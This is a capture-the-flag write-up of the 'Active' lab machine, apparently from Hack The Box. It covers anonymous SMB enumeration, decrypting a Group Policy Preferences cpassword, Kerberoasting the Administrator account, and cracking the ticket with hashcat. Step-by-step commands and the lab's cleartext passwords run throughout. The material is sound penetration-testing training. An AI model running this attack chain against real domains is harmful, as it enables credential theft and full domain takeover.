Active

Overview

Active is an Easy Windows box running Active Directory. The attack chain starts with anonymous SMB enumeration that reveals a readable Replication share — a mirror of SYSVOL — containing a Group Policy Preferences file (Groups.xml) with a cpassword field encrypted using Microsoft’s publicly documented AES key. Decrypting it with gpp-decrypt yields credentials for SVC_TGS, which are then used to Kerberoast the Administrator account (an unusual SPN registered on the built-in admin) and crack the resulting TGS hash offline with hashcat, granting immediate full domain access.

Machine Matrix

The high Real-Life axis reflects that GPP credential exposure and Kerberoasting against misconfigured service accounts are among the most commonly found Active Directory vulnerabilities in real-world engagements.

Recon

Port	Service	Notes
53	DNS	Active Directory DNS
88	Kerberos	Domain controller
135	MSRPC	Windows RPC
139	NetBIOS	SMB over NetBIOS
389	LDAP	Active Directory LDAP
445	SMB	Key attack surface
464	Kpasswd	Kerberos password change
593	RPC over HTTP
636	LDAPS	LDAP over SSL
3268	Global Catalog LDAP
3269	Global Catalog LDAPS

nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.X
nmap -p53,88,135,139,389,445,464,593,636,3268,3269 -sC -sV -Pn 10.10.10.X

The port profile is a classic Windows Domain Controller — Kerberos on 88, LDAP on 389/636, and SMB on 445 are the primary targets. No web service is exposed, so SMB and LDAP are the only enumerable attack surfaces.

Enumeration

Anonymous SMB enumeration reveals a Replication share readable without credentials — effectively an unauthenticated copy of SYSVOL:

smbmap -H 10.10.10.X

The Replication share shows READ ONLY for the null session. Recursively listing its contents surfaces the Group Policy Preferences path:

smbclient //10.10.10.X/Replication -N -c "recurse; ls" 2>/dev/null | grep -i ".xml\|groups\|policy"

Groups.xml appears under active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/. This is the telltale GPP credential file — the {31B2F340-...} GUID is the Default Domain Policy. Download it:

smbclient //10.10.10.X/Replication -N -c "get \"active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml\" /tmp/Groups.xml"

grep cpassword /tmp/Groups.xml

The file contains a cpassword attribute for user SVC_TGS. Group Policy Preferences used AES-256 to “protect” these passwords, but Microsoft published the static decryption key in MS-GPPREF. This is a cleartext storage of sensitive information weakness: the encryption provides no real protection since the key is public. The share being readable without authentication (CWE-306) makes it trivially exploitable by any attacker with network access.

Foothold

Decrypt the cpassword with gpp-decrypt, which encodes Microsoft’s published AES key internally:

gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"

This returns GPPstillStandingStrong2k18 — the password for SVC_TGS. Credentials in hand: SVC_TGS : GPPstillStandingStrong2k18.

User flag

impacket-wmiexec active.htb/Administrator:[email protected] "type C:\\Users\\SVC_TGS\\Desktop\\user.txt"

(Grabbed after Administrator access is achieved below.) Landing as SVC_TGS via the decrypted GPP credential, and the user flag is ours.

Privilege Escalation

With valid domain credentials, Kerberoasting can request a TGS for any account that has an SPN registered. The Administrator account on this domain controller has an SPN (active/CIFS:445) — highly unusual for the built-in administrator and a significant misconfiguration:

impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.X -request

This returns a $krb5tgs$23$ hash (RC4-encrypted TGS) for the Administrator account. Kerberoasting exploits standard Kerberos behaviour — any authenticated domain user can request a TGS for any SPN by design, so there is no lockout and no elevated permission required. The RC4 (type 23) ticket format is particularly vulnerable to offline brute-force. Save the hash to admin.hash, then crack it:

hashcat -a 0 -m 13100 admin.hash /usr/share/wordlists/rockyou.txt

The weak password Ticketmaster1968 cracks quickly from rockyou.txt. With Administrator credentials, access the domain controller directly:

impacket-wmiexec active.htb/Administrator:[email protected]

Full Administrator (SYSTEM-level) access to the domain controller is achieved.

Root flag

impacket-wmiexec active.htb/Administrator:[email protected] "type C:\\Users\\Administrator\\Desktop\\root.txt"

HTB{…} — full domain compromise via Kerberoasting confirms complete control of the Active Directory environment.